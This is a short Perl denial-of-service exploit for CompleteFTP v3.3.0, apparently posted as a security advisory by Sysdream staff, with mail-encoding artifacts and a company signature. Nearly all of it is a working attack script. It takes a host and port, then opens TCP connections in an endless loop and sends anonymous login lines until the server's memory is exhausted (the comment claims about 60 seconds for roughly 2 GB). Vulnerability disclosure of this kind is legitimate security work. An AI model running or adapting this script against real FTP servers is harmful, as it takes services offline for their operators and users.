CompleteFTP v3.3.0 - Remote Memory Consumption DoS
#!/usr/bin/perl
#
# Title: CompleteFTP v3.3.0 - Remote Memory Consumption DoS
# Author: Jonathan Salwan <j.salwan@sysdream.com>
# Web: http://www.shell-storm.org | http://www.sysdream.com
#
#
# Advisories: =
http://www.sysdream.com/article.php?story_id=3D331§ion_id=3D78
#=20
# ~60 sec for satured ~2Go RAM
#
use IO::Socket;
print "\n[x]CompleteFTP v3.3.0 - Remote Memory Consumption DoS\n";
if (@ARGV < 1)
{
print "[-] Usage: <file.pl> <host> <port>\n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}
$ip =3D $ARGV[0];
$port =3D $ARGV[1];
$login =3D "USER anonymous\r\n";
$pwd =3D "PASS anonymous\r\n";
$socket =3D IO::Socket::INET->new( Proto =3D> "tcp", PeerAddr =3D>=
"$ip", PeerPort =3D> "$port") || die "[-] Connecting: Failed!\n";
print "Please Wait...\n";
while(){
$socket =3D IO::Socket::INET->new( Proto =3D> "tcp", =
PeerAddr =3D> "$ip", PeerPort =3D> "$port");
$socket->recv($answer,2048);
$socket->send($login);
$socket->send($pwd);
}
--
Mehdi Mahdjoub
Consultant Sysdream IT Security
Responsable communication
Webmaster
Sysdream=20
4 Impasse de la gendarmerie
93400 Saint Ouen
France